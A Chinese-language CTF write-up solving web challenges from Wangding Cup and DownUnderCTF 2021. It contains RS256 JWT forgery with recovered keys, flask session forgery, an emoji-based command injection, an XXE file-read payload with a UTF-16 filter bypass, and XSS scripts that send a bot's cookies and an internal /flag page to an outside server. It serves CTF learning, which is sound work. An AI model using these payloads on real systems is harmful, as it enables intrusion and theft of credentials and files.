Web1
考点: RS256弱公钥jwt伪造+ flask session身份伪造 +emoji shell?+xxe绕过黑名单实现任意文件读取
本身可以以任意用户登陆 随意登陆后
Cookie中设置了
token
(jwt) 和 session
(flask session)
token
是 jwt 通过 RS256进行的加密签名
session
就是 Python flask session
尝试删除 session 可以发现并不影响
/profile
返回当前用户名username
如果希望篡改 username
的值 需要 ==公私钥==(非对称加密)
公钥实现解密 私钥加密
尝试解码 flask
session
有
role
字段 猜测 通过 session
控制 role
token
控制 username
这意味着我们要对 token
和 session
实现伪造 达到访问后台一些功能的目的
尝试爆破 session
密钥无果
考虑伪造 RS256
加密的jwt 实现数据篡改
题目部分改编自国际赛 :https://berliangabriel.github.io/post/tcp1p-ctf-2023/ DownUnderCTF 2021 jwt
从JWT对中导出 RSA 公钥
参考:# Is it possible to recover an RSA modulus from its signatures?
实现项目: https://github.com/silentsignal/rsa_sign2n
通过 Experimental code to calculate RSA public keys based on two known message-signature pairs 也就是通过多个JWT尝试恢复RSA公钥
python .\jwt_forgery.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEifQ.HDso3-3ZGjO8_J2ziO5Z2UasjqAl6v50-LrCIe-AmeHRrTWPaJco5Kai5u3eyM4kNInKSjn2fCDjhPvP3-QO2b69BpuNKE7uDRVzuuip6N3T-mnrKBbHrbOPWGFdNIOsPxKyhBn9OC4pOQB5mi5pBXVTh_JCuNXf7dm3_nEz-hY6 eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjIyMiJ9.InOwuK0UKijn2IjMdNd9QURLimyY4Nmw6oxbyEemyuVYbcbbNPSujvWSnOZ8r9urcD8OWMuzEmOF6NKY0TbuujjyrKKWzaScKOz1fLRH0NkUDFk6G6aevF5e9BPP7ciUt-KA3maoPB7Cd7Qeg_Eo3mXqRXko2eVslzdNV8pdeuLY
多多尝试可能的公钥 反向取RSA的可能多个模数(GCD)
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgSSlUMfCzg/ysG4ixoi6NKGuWNnv
IpZZTRNa045eH2xzzY/ZyRwDojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fAN
MNCYRa47xIW0RwZBDSABcGnwu3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502
ZMSv0AxMgN5UMh9FCwIDAQAB
-----END PUBLIC KEY-----
根据公钥生成对应的私钥 https://github.com/RsaCtfTool/RsaCtfTool
python .\RsaCtfTool.py --publickey .\publictest2.pem --private
-----BEGIN RSA PRIVATE KEY-----
MIICoQIBAAKBgSSlUMfCzg/ysG4ixoi6NKGuWNnvIpZZTRNa045eH2xzzY/ZyRwD
ojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fANMNCYRa47xIW0RwZBDSABcGnw
u3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502ZMSv0AxMgN5UMh9FCwIDAQAB
AoGBC5/r+nCv2+uWXTjL8i6UJtLIfdOssxKbJNiIKLXQh3l8IAAfx1i9ktxYEICW
TcGTUkx9gjd+xUwo0KOKjcg3hZc7bEfLkiOsK8dSwsPFEXYQpCE1EFokhkc9Rbiq
URC9QIrQjtzf5vdU2usj5ddRGtqtmpXm/ibU1TLPIsy8Y5TJAoGBAP2Mj8b+pnwu
SCp0EYh99ogr6jblQlVwySv34UDQarcFjkQoB60SOMZpGCyPr/auhfDIsNvKyXLK
S7IBEBFMETWywUx28OGFV7xtGF7RfLWmaKYXy4ML/DfHonV8khZ6h5wpyxPL3Wli
uJCSSsjNgXhj4aeGLtRRuySpiXflrdFvAgElAoGBALrhzOO+tJWZQ2XPMVEqjvjl
bXfS2WbCf/Theuzb8Zw/AxJncuj1IlXUBpZpvigTkPPd6MXIHV13j/1+3QnyyEiN
Hf6vOHLxZq6itrDEtafqJP4vUbigr+GpSqxQChl5bNUE1QMdY3AW7LTarzZ8iq5i
6GMi+wdRyp+GOqXd65UPAgERAoGAUjts5pfHSt6T8hfOVcf87eS6qgUqRTlWAGwR
tCfrQkb9tT1qRfgSadzlPuJ+QirDqAm80amNcVZdvTDG8NpmckfP/R+oEcphpOUc
qSFY4PezPMlyb7DcLcQ0sHttpmztthtkdR+GFFdedBPFOjTQC16qDNGSpbmkepfZ
jqta99E=
-----END RSA PRIVATE KEY-----
签名有效可以实现伪造
可以成功伪造
username
为admin
token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.DNqIFNdFOWgGGnuk95SQa5GdU_D6TDv95lTU97wUP8ekgqX6zrnvvsnp8XkvVfSx0g3xVQqbo5xhdxjNpM8LiiwX_kQ8FO8t0q0qBn1RJ5O2bGkGOZsUWAUrKg7ME6L4-XFiXi7P328f1t4En_kSp91SeS7-9Lcn7Ja__IJbRuH1
当
Username
为admin时 可以正常使用功能 GAME
感觉有点意外 Web中还有Misc吗
小猫🐱 就是
cat
本身 cat *
时基本等价于 输出当前目录所有文件
这里注意一下 暗示 flag在 flag.php
类似的 通过 命令的拼接 可以读取 /app/flag下源码
💿 🚩😜😐🐱 ⭐
cd flag;P:|cat *
可以读取到 /app/flag
的源码
from flask import Flask, render_template, redirect, url_for, flash, session, request, jsonify, make_response
from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, SubmitField, FileField, TextAreaField
from wtforms.validators import DataRequired, Length
from werkzeug.utils import secure_filename
import os
import string
from authlib.jose import jwt, JoseError
import requests
app = Flask(__name__)
app.config['SECRET_KEY'] = '36f8efbea152e50b23290e0ed707b4b0'
with open('/app/flag/private_key.pem', 'r') as f:
private_key = f.read()
with open('/app/flag/public_key.pem', 'r') as f:
public_key = f.read()
def game_play(user_input):
emoji_table = {
"😀": ":D",
"😉": ";)",
"😊": ":)",
"😋": ":P",
"😎": "B)",
"🤔": ":?",
"😐": ":|",
"😥": ":'(",
"😮": ":o",
"🤐": ":x",
"😯": ":o",
"😪": ":'(",
"😫": ">:(",
"😴": "Zzz",
"😜": ";P",
"😝": "XP",
"😒": ":/",
"🙃": "(:",
"😲": ":O",
"☹️": ":(",
"🙁": ":(",
"😖": ">:(",
"😞": ":(",
"😤": ">:(",
"😢": ":'(",
"😦": ":(",
"😰": ":(",
"😱": ":O",
"🤪": ":P",
"😵": "X(",
"🥴": ":P",
"😠": ">:(",
"😡": ">:(",
"🤕": ":(",
"🤢": "X(",
"🤮": ":P",
"🤧": ":'(",
"😇": "O:)",
"🥳": ":D",
"🥺": ":'(",
"🤡": ":o)",
"🤠": "Y)",
"🤥": ":L",
"🐶": "dog",
"🐱": "cat",
"🐭": "mouse",
"🐰": "rabbit",
"🦊": "fox",
"🐷": "pig",
"🐽": "pig nose",
"🐸": "frog",
"🐒": "monkey",
"🐔": "chicken",
"🐧": "penguin",
"🐦": "bird",
"🚗": "car",
"🚕": "taxi",
"🚁": "helicopter",
"🛶": "canoe",
"⛵": "sailboat",
"🚤": "speedboat",
"🛳️": "passenger ship",
"⛴️": "ferry",
"🛥️": "motor boat",
"🚢": "ship",
"👶": "baby",
"💿": "CD",
"📀": "DVD",
"📱": "phone",
"💻": "laptop",
"⏰": "alarm clock",
"🕰️": "mantelpiece clock",
"⌚": "watch",
"📡": "satellite antenna",
"🔋": "battery",
"🔌": "plug",
"🚩": "flag",
"⭐": "*",
"✖️": "×",
"➗": "÷"
}
if len(set(user_input).intersection(set(string.printable.replace(" ", '')))) > 0:
return user_input.lower()
command = user_input
result = 'emoji shell'
for key in emoji_table:
if key in command:
command = command.replace(key, emoji_table[key]).lower()
result = command
result = result + os.popen(command + " 2>&1").read()
return result
class LoginForm(FlaskForm):
username = StringField('Username', validators=[DataRequired(), Length(min=1, max=25)])
password = PasswordField('Password', validators=[DataRequired()])
submit = SubmitField('Login')
class UploadForm(FlaskForm):
avatar = FileField('Choose a file', validators=[DataRequired()])
submit = SubmitField('Upload')
class GameForm(FlaskForm):
user_input = TextAreaField('Enter something', validators=[DataRequired()])
submit = SubmitField('Submit')
def generate_jwt(username):
header = {'alg': 'RS256'}
payload = {
'username': username,
}
token = jwt.encode(header, payload, private_key)
return token
def decode_jwt(token):
try:
payload = jwt.decode(token, public_key)
return payload
except JoseError as e:
return None
@app.route('/', methods=['GET', 'POST'])
def login():
form = LoginForm()
if form.validate_on_submit():
username = form.username.data
password = form.password.data
if username == 'admin':
flash('Invalid username or password', 'danger')
return render_template('login.html', form=form)
if username:
session['role'] = 'guest'
token = generate_jwt(username)
response = make_response(redirect(url_for('dashboard')))
response.set_cookie('token', token.decode())
flash('Login successful!', 'success')
return response
else:
flash('Invalid username or password', 'danger')
return render_template('login.html', form=form)
@app.route('/dashboard')
def dashboard():
token = request.cookies.get('token')
if not token:
flash('Please login first', 'warning')
return redirect(url_for('login'))
payload = decode_jwt(token)
if not payload:
flash('Invalid or expired token. Please login again.', 'danger')
return redirect(url_for('login'))
return render_template('dashboard.html')
@app.route('/profile')
def profile():
token = request.cookies.get('token')
if not token:
flash('Please login first', 'warning')
return redirect(url_for('login'))
payload = decode_jwt(token)
if not payload:
flash('Invalid or expired token. Please login again.', 'danger')
return redirect(url_for('login'))
user_info = {
'username': payload['username'],
'role': session['role'],
}
return render_template('profile.html', user_info=user_info)
@app.route('/game', methods=['GET', 'POST'])
def game():
token = request.cookies.get('token')
form = GameForm()
if not token:
error_message = 'Please login first'
return render_template('game.html', form=form, error_message=error_message)
payload = decode_jwt(token)
if not payload:
error_message = 'Invalid or expired token. Please login again.'
return render_template('game.html', form=form, error_message=error_message)
if payload['username'] != 'admin':
error_message = 'You do not have permission to access this page. Your username is not admin'
return render_template('game.html', form=form, error_message=error_message)
user_input = None
if form.validate_on_submit():
user_input = form.user_input.data
user_input = game_play(user_input)
return render_template('game.html', form=form, user_input=user_input)
@app.route('/upload', methods=['GET', 'POST'])
def upload():
token = request.cookies.get('token')
if not token:
flash('Please login first', 'warning')
return redirect(url_for('login'))
payload = decode_jwt(token)
form = UploadForm()
if not payload or payload['username'] != 'admin':
error_message = 'You do not have permission to access this page. Your username is not admin.'
return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
if not session['role'] or session['role'] != 'admin':
error_message = 'You do not have permission to access this page. Your role is not admin.'
return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
if form.validate_on_submit():
file = form.avatar.data
if file:
filename = secure_filename(file.filename)
files = {'file': (filename, file.stream, file.content_type)}
php_service_url = 'http://127.0.0.1/upload.php'
response = requests.post(php_service_url, files=files)
if response.status_code == 200:
flash(response.text, 'success')
else:
flash('Failed to upload file to PHP service', 'danger')
return render_template('upload.html', form=form)
@app.route('/view_uploads', methods=['GET', 'POST'])
def view_uploads():
token = request.cookies.get('token')
form = GameForm()
if not token:
error_message = 'Please login first'
return render_template('view_uploads.html', form=form, error_message=error_message)
payload = decode_jwt(token)
if not payload:
error_message = 'Invalid or expired token. Please login again.'
return render_template('view_uploads.html', form=form, error_message=error_message)
if payload['username'] != 'admin':
error_message = 'You do not have permission to access this page. Your username is not admin'
return render_template('view_uploads.html', form=form, error_message=error_message)
user_input = None
if form.validate_on_submit():
filepath = form.user_input.data
pathurl = request.form.get('path')
if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):
error_message = "www.testctf.com must be in path and /var/www/html/uploads/ must be in filepath."
return render_template('view_uploads.html', form=form, error_message=error_message)
params = {'s': filepath}
try:
response = requests.get("http://" + pathurl, params=params, timeout=1)
return render_template('view_uploads.html', form=form, user_input=response.text)
except:
error_message = "500! Server Error"
return render_template('view_uploads.html', form=form, error_message=error_message)
return render_template('view_uploads.html', form=form, user_input=user_input)
@app.route('/logout')
def logout():
session.clear()
response = make_response(redirect(url_for('login')))
response.delete_cookie('token')
flash('You have been logged out', 'info')
return response
if __name__ == '__main__':
app.run()
由源码可以知道 flask的session密钥
app.config['SECRET_KEY'] = '36f8efbea152e50b23290e0ed707b4b0'
直接拿着 密钥伪造特定权限即可
通过 flask-unsign 伪造 role权限 为 admin
即可
flask-unsign --sign --cookie "{'_flashes': [('success', 'Login successful!')], 'csrf_token': 'eedffbc0898223ee6d7f732cb516c51f6d0e5c92', 'role': 'admin'}" --secret "36f8efbea152e50b23290e0ed707b4b0" --no-literal-eval
可以尝试发现 token
控制 username
,session
控制 role
我们如果想使用 Upload Avatar
功能 考虑Username/Role 都为 admin
成功伪造session(flask) token(jwt)
现在我们可以访问 Upload Avatar 实现文件上传
上传任意文件 ==文件无后缀且重命名== 不考虑什么webshell 也不可能
可控两个参数 pathurl
和 filepath
if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath)
1.pathurl
必须要包含 www.testctf.com
直接把 www.testctf.com
放在get传参中绕过 localhost?a=www.testctf.com
2.filepath
是 文件上传的文件路径
简单Fuzzing一下发现
可能对传入的filepath
进行了xxl解析
猜测 通过xxe实现任意文件读取
之前 我们通过 cat *
实现了列举/var/www/html
目录下文件 发现 flag位于 /var/www/html/flag.php
由于php文件会被解析 回显一定为空 考虑通过==php伪协议实现 读取文件内容==
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php" >]>
<creds>
<user>&xxe;</user>
<pass>J1rrY</pass>
</creds>
直接上传xml文件 并且实现解析 发现 存在黑名单过滤
提示
hacker
被拦截
xxe的绕过方式无非就那么几种
xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码
可以尝试通过utf-16编码绕过 正则匹配WAF
iconv -f UTF-8 -t UTF-16 xxe.xml -o xxe_16.xml
直接上传生成的 xxe_16.xml
并且在 view_uploads
实现 xml解析
厨子base64解码后就是flag
最终实现了xxe任意文件读取flag内容
Web2
考点:XSS外带内网资源
Python 的后端 多半是
flask
应用 默认端口 5000
![[Pasted image 20241029172951.png]]
XSS没有任何过滤 没有CSP策略限制 属于裸奔了
<script>alert(1)</script>
直接被解析成 JS代码
点击 submit
机器人会访问我们的页面
最简单的方法 考虑 XMLRequest
发起ajax
请求实现外带flag
![[Pasted image 20241029173257.png]]
<script>var xhr = new XMLHttpRequest(); xhr.open("POST", "http://119.29.157.248:8888/", true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('url=' + encodeURIComponent(document.location.href) + '&cookie=' + encodeURIComponent(document.cookie));</script>
但是 flag不在boss的cookie里 没有flag emmmm
flag会在哪里呢 在哪里呢 在哪里呢 在哪里呢 在哪里呢 在哪里呢 在哪里呢 在哪里呢在哪里呢 在哪里呢 在哪里呢 在哪里呢 在哪里呢 在哪里呢 在哪里呢 在哪里呢
发现存在 /flag
路由
最后是找到了这篇文章 一次利用XSS读取源码
发现可以通过==XSS实现机器人访问其内网资源== /flag
获取 result(flag) 后实现数据外带
<script>
function updateContent(content) {
var updateX = new XMLHttpRequest();
updateX.open("POST",
"http://119.29.157.248:8888/J1rrY", true);
updateX.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
updateX.send("flag=" + content);
}
var x = new XMLHttpRequest();
x.onload = function () {
var result = this.responseText;
updateContent(result);
};
x.open("GET", "/flag");
x.send();
</script>
法一: 直接外带 flag 外带 到我们的VPS上也是可以的
法二:本身提交什么 就可以==回显在我们的主页== 所以尝试 直接 将 result
提交到我们的主页
本身我们的提交包是这样的
通过 XMLHttpRequest
实现提交 一样的效果即可
<script>
function updateContent(content) {
var updateX = new XMLHttpRequest();
updateX.open("POST",
"http://127.0.0.1:5000/content/7e42c0d1dd01a2986952b51e757eec99?a=J1rrY", true);
updateX.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
updateX.send("content=" + content);
}
var x = new XMLHttpRequest();
x.onload = function () {
var result = this.responseText;
updateContent(result);
};
x.open("GET", "/flag");
x.send();
</script>
直接flag 回显到我们的主页上 也是可以的
DownUnderCTF 2021 jwt
考点:对于RS256弱公钥生成的jwt可以伪造(非对称加密)
网鼎杯 Web1 改编自这道国际赛的题 有空来复现一下 解题 WP :https://ctftime.org/writeup/30541
主页访问直接返回源码
from flask import Flask, request
import jwt, time, os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)
private_key = open('priv').read()
public_key = open('pub').read()
flag = open('flag.txt').read()
@app.route("/get_token")
def get_token():
return jwt.encode({'admin': False, 'now': time.time()}, private_key, algorithm='RS256')
@app.route("/get_flag", methods=['POST'])
def get_flag():
try:
payload = jwt.decode(request.form['jwt'], public_key, algorithms=['RS256'])
if payload['admin']:
return flag
except:
return ":("
@app.route("/")
def sauce():
return "
%s
" % open(__file__).read()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)
os.urandom(24)
生成24字节的密钥
session密钥不可爆破 虽然本题没有用上
访问 /get_token
可以获取通过RS256 私钥加密的jwt
通过jwt伪造 篡改admin为true 就可以拿到flag
通过 两个单独生成的 JWT中获取公钥 密码学的相关脚本在wsl中跑
https://github.com/silentsignal/rsa_sign2n
python jwt_forgery.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6ZmFsc2UsIm5vdyI6MTczMDI5MjE2Ni4xNzU4MzE4fQ.DV2gnUApzu3vc61unXTqYDAxIkmoaRDDQ5u1XhmYl_LcKQBm6ty9x4dRBL9v_-Q3LuiTVTaouZgncMHJ4p75Vog-0F05ybrCTT5FeI6KHlsjLdQHLp3xnry7xnCPF7JEUQ eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6ZmFsc2UsIm5vdyI6MTczMDI5MjQ3Mi4yNTg1MDEzfQ.BFcuO-C82OSEXKaS4aCdsgSXBuGslCbc44XMSVADlIvfhWTS1nTW3mFQNjfVFeIYISRsFuUWU9fsU0wFwpXSwAG2rXt_cr9p9K6ISzoOQ_QvbZErz3Osmfc8jkmocnehyQ
生成了不止一个的公钥 存在一定概率
拿一个试试
1b6275b9f55291c0_65537_x509.pem
https://github.com/Ganapati/RsaCtfTool
生成公钥对应的私钥
不行就换一个最后发现这个可以
python RsaCtfTool.py --publickey 10.pem --private
-----BEGIN RSA PRIVATE KEY-----
MIIB+wIBAAJhEIt8da7h4rnfNpKizFSxANERACGT68nDz1deSxb1lcwo2bR6ZdHz
d0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZya7VOgM0rjSDzIMzdDAe
GngppfWACnk4AwIDAQABAmEKpfUIG6wBMAOtnv0vdki0XiDfW6KTMDRDvdcjryUd
sIi8WaAV8ZW9z9XWw/v8U/4DrOzW5nJwm2BwMRfpIfKlS/QW0gX/TR+btntJc6P8
wnks0vynK8S9A+l4kegxYrSxAmEAkg0einG4Xq9r0BdE1shPeffCNh+VXzu3s5B+
LO38Vnz+rfKQwJ5230Nxe8WstSZdUSM/Bp0cGjkPCX5D24bGyaVx9Uz3LO0G9F+g
5aC2jw1fU/jyWe9iBCS/Gh7l4N6fAgEdAmBhCOJfrQqHrhj9WlhcMx3KtTeNahJ+
AVkdrkSGaV+bvtQekehmcWIdF9wQFdeXS3P4cmhvZnbDXWGGNyOyeKseUhOSnJ4k
dR6HwflOVyaziHjre5zY79i5VAi7vAeTDZUCAQUCYG7MKNL1KsNqmGjlg6vEGPts
ga15EDaXO+lTIe0eeM7aaO3kJzEFdKlfTUNp0nfE1AiWUx+AA6n2UgczpjybNbN0
rroXE8nOS+WGVr/bBhQ/HC4MTevzZNcBZNYFyN+OZw==
-----END RSA PRIVATE KEY-----
查看公钥 public.key
-----BEGIN PUBLIC KEY-----
MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhEIt8da7h4rnfNpKizFSxANERACGT68nD
z1deSxb1lcwo2bR6ZdHzd0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZ
ya7VOgM0rjSDzIMzdDAeGngppfWACnk4AwIDAQAB
-----END PUBLIC KEY-----
正确的公私钥对 可以实现成功伪造
生成 admin为true的jwt
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZSwibm93IjoxNzMwMjkyMTY2LjE3NTgzMTh9.D5lGYl8VXqDzb4s68gF7n9cIklE8qvQEa-GydRDDFKP0gE2F_4877cE2azMbyKVBt5TSv4TW5pR6rO28eSrqt3refFmksgAnSqal2-1SFw2sb6xlUEiMbRWPEV8Tz26QmA
可以成功拿到flag
DUCTF{json_web_trickeryyy}